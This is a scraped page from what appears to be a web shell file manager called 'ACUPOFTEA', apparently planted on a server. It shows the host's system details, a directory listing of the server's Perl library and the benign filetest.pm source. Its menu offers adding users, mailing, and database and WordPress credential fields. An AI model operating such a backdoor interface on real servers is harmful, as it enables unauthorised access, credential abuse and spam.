System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
usr
/
share
/
perl5
/
216.73.216.49
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
filetest.pm
package filetest; our $VERSION = '1.03'; =head1 NAME filetest - Perl pragma to control the filetest permission operators =head1 SYNOPSIS $can_perhaps_read = -r "file"; # use the mode bits { use filetest 'access'; # intuit harder $can_really_read = -r "file"; } $can_perhaps_read = -r "file"; # use the mode bits again =head1 DESCRIPTION This pragma tells the compiler to change the behaviour of the filetest permission operators, C<-r> C<-w> C<-x> C<-R> C<-W> C<-X> (see L<perlfunc>). The default behaviour of file test operators is to use the simple mode bits as returned by the stat() family of system calls. However, many operating systems have additional features to define more complex access rights, for example ACLs (Access Control Lists). For such environments, C<use filetest> may help the permission operators to return results more consistent with other tools. The C<use filetest> or C<no filetest> statements affect file tests defined in their block, up to the end of the closest enclosing block (they are lexically block-scoped). Currently, only the C<access> sub-pragma is implemented. It enables (or disables) the use of access() when available, that is, on most UNIX systems and other POSIX environments. See details below. =head2 Consider this carefully The stat() mode bits are probably right for most of the files and directories found on your system, because few people want to use the additional features offered by access(). But you may encounter surprises if your program runs on a system that uses ACLs, since the stat() information won't reflect the actual permissions. There may be a slight performance decrease in the filetest operations when the filetest pragma is in effect, because checking bits is very cheap. Also, note that using the file tests for security purposes is a lost cause from the start: there is a window open for race conditions (who is to say that the permissions will not change between the test and the real operation?). Therefore if you are serious about security, just try the real operation and test for its success - think in terms of atomic operations. Filetests are more useful for filesystem administrative tasks, when you have no need for the content of the elements on disk. =head2 The "access" sub-pragma UNIX and POSIX systems provide an abstract access() operating system call, which should be used to query the read, write, and execute rights. This function hides various distinct approaches in additional operating system specific security features, like Access Control Lists (ACLs) The extended filetest functionality is used by Perl only when the argument of the operators is a filename, not when it is a filehandle. =head2 Limitation with regard to C<_> Because access() does not invoke stat() (at least not in a way visible to Perl), B<the stat result cache "_" is not set>. This means that the outcome of the following two tests is different. The first has the stat bits of F</etc/passwd> in C<_>, and in the second case this still contains the bits of C</etc>. { -d '/etc'; -w '/etc/passwd'; print -f _ ? 'Yes' : 'No'; # Yes } { use filetest 'access'; -d '/etc'; -w '/etc/passwd'; print -f _ ? 'Yes' : 'No'; # No } Of course, unless your OS does not implement access(), in which case the pragma is simply ignored. Best not to use C<_> at all in a file where the filetest pragma is active! As a side effect, as C<_> doesn't work, stacked filetest operators (C<-f -w $file>) won't work either. This limitation might be removed in a future version of perl. =cut $filetest::hint_bits = 0x00400000; # HINT_FILETEST_ACCESS sub import { if ( $_[1] eq 'access' ) { $^H |= $filetest::hint_bits; } else { die "filetest: the only implemented subpragma is 'access'.\n"; } } sub unimport { if ( $_[1] eq 'access' ) { $^H &= ~$filetest::hint_bits; } else { die "filetest: the only implemented subpragma is 'access'.\n"; } } 1;
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
..
DIR
-
drwxr-xr-x
2025-10-16 10:59:21
Attribute
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
B
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
CPAN
DIR
-
drwxr-xr-x
2024-03-13 04:56:46
Class
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Compress
DIR
-
drwxr-xr-x
2024-03-13 04:36:57
Config
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
DBM_Filter
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Devel
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
ExtUtils
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
File
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Getopt
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
I18N
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
IO
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
IPC
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Locale
DIR
-
drwxr-xr-x
2025-07-28 08:08:32
Math
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Memoize
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Module
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Net
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Pod
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Search
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Term
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Text
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Thread
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Tie
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
Time
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
URI
DIR
-
drwxr-xr-x
2024-03-13 04:36:40
Unicode
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
User
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
encoding
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
overload
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
pod
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
unicore
DIR
-
drwxr-xr-x
2025-07-29 10:57:24
vendor_perl
DIR
-
drwxr-xr-x
2025-07-28 08:07:18
warnings
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
AnyDBM_File.pm
text/plain
2.56 KB
-rw-r--r--
2025-07-28 08:07:09
AutoLoader.pm
text/plain
15.43 KB
-rw-r--r--
2025-07-28 08:07:09
AutoSplit.pm
text/plain
19.18 KB
-rw-r--r--
2025-07-28 08:07:09
Benchmark.pm
text/plain
30.3 KB
-rw-r--r--
2025-07-28 08:07:09
CORE.pod
text/plain
3.11 KB
-rw-r--r--
2025-07-28 08:07:09
DB.pm
text/plain
18.48 KB
-rw-r--r--
2025-07-28 08:07:09
DBM_Filter.pm
text/plain
14.05 KB
-rw-r--r--
2025-07-28 08:07:09
DirHandle.pm
text/plain
1.52 KB
-rw-r--r--
2025-07-28 08:07:09
Dumpvalue.pm
text/plain
17.14 KB
-rw-r--r--
2025-07-28 08:07:09
English.pm
text/plain
4.65 KB
-rw-r--r--
2025-07-28 08:07:09
FileCache.pm
text/plain
5.44 KB
-rw-r--r--
2025-07-28 08:07:09
FileHandle.pm
text/plain
6.63 KB
-rw-r--r--
2025-07-28 08:07:09
FindBin.pm
text/plain
4.45 KB
-rw-r--r--
2025-07-28 08:07:09
Internals.pod
text/plain
2.52 KB
-rw-r--r--
2025-07-28 08:07:09
Memoize.pm
text/plain
35.34 KB
-rw-r--r--
2025-07-28 08:08:32
NEXT.pm
text/plain
18.4 KB
-rw-r--r--
2025-07-28 08:07:09
PerlIO.pm
text/plain
10.21 KB
-rw-r--r--
2025-07-28 08:07:09
Safe.pm
text/plain
24.49 KB
-rw-r--r--
2025-07-28 08:07:09
SelectSaver.pm
text/plain
1.05 KB
-rw-r--r--
2025-07-28 08:07:09
SelfLoader.pm
text/plain
17.28 KB
-rw-r--r--
2025-07-28 08:08:32
Symbol.pm
text/plain
4.69 KB
-rw-r--r--
2025-07-28 08:07:09
Test.pm
text/plain
29.35 KB
-rw-r--r--
2025-07-28 08:08:32
Thread.pm
text/plain
8.09 KB
-rw-r--r--
2025-07-28 08:07:09
UNIVERSAL.pm
text/plain
6.44 KB
-rw-r--r--
2025-07-28 08:07:09
URI.pm
text/plain
33.97 KB
-rw-r--r--
2018-01-09 06:42:55
XSLoader.pm
text/plain
11 KB
-rw-r--r--
2025-07-28 08:07:09
_charnames.pm
text/plain
32.39 KB
-rw-r--r--
2025-07-28 08:07:09
autouse.pm
text/plain
4.14 KB
-rw-r--r--
2025-07-28 08:07:09
base.pm
text/plain
10.72 KB
-rw-r--r--
2025-07-28 08:07:09
blib.pm
text/plain
2.04 KB
-rw-r--r--
2025-07-28 08:07:09
bytes.pm
text/plain
3.67 KB
-rw-r--r--
2025-07-28 08:07:09
bytes_heavy.pl
text/plain
758 B
-rw-r--r--
2025-07-28 08:07:09
charnames.pm
text/plain
20.38 KB
-rw-r--r--
2025-07-28 08:07:09
deprecate.pm
text/plain
3.01 KB
-rw-r--r--
2025-07-28 08:07:09
diagnostics.pm
text/plain
18.59 KB
-rw-r--r--
2025-07-28 08:07:09
dumpvar.pl
text/plain
15.19 KB
-rw-r--r--
2025-07-28 08:07:09
feature.pm
text/plain
16.68 KB
-rw-r--r--
2025-07-28 08:07:09
fields.pm
text/plain
9.27 KB
-rw-r--r--
2025-07-28 08:07:09
filetest.pm
text/plain
3.91 KB
-rw-r--r--
2025-07-28 08:07:09
if.pm
text/plain
3.26 KB
-rw-r--r--
2025-07-28 08:07:09
integer.pm
text/plain
3.18 KB
-rw-r--r--
2025-07-28 08:07:09
less.pm
text/plain
3.13 KB
-rw-r--r--
2025-07-28 08:07:09
locale.pm
text/plain
4.74 KB
-rw-r--r--
2025-07-28 08:07:09
meta_notation.pm
text/plain
2.07 KB
-rw-r--r--
2025-07-28 08:07:09
open.pm
text/plain
7.83 KB
-rw-r--r--
2025-07-28 08:08:32
overload.pm
text/plain
52.06 KB
-rw-r--r--
2025-07-28 08:07:09
overloading.pm
text/plain
1.77 KB
-rw-r--r--
2025-07-28 08:07:09
perl5db.pl
text/plain
309 KB
-rw-r--r--
2025-07-28 08:07:09
sigtrap.pm
text/plain
7.43 KB
-rw-r--r--
2025-07-28 08:07:09
sort.pm
text/plain
5.94 KB
-rw-r--r--
2025-07-28 08:07:09
strict.pm
text/plain
4.63 KB
-rw-r--r--
2025-07-28 08:07:09
subs.pm
text/plain
848 B
-rw-r--r--
2025-07-28 08:07:09
utf8.pm
text/plain
8.9 KB
-rw-r--r--
2025-07-28 08:07:09
utf8_heavy.pl
text/plain
30.87 KB
-rw-r--r--
2025-07-28 08:07:09
vars.pm
text/plain
2.36 KB
-rw-r--r--
2025-07-28 08:07:09
vmsish.pm
text/plain
4.21 KB
-rw-r--r--
2025-07-28 08:07:09
warnings.pm
text/plain
43.71 KB
-rw-r--r--
2025-07-28 08:07:09
~ ACUPOFTEA - mail.ontime-ae.com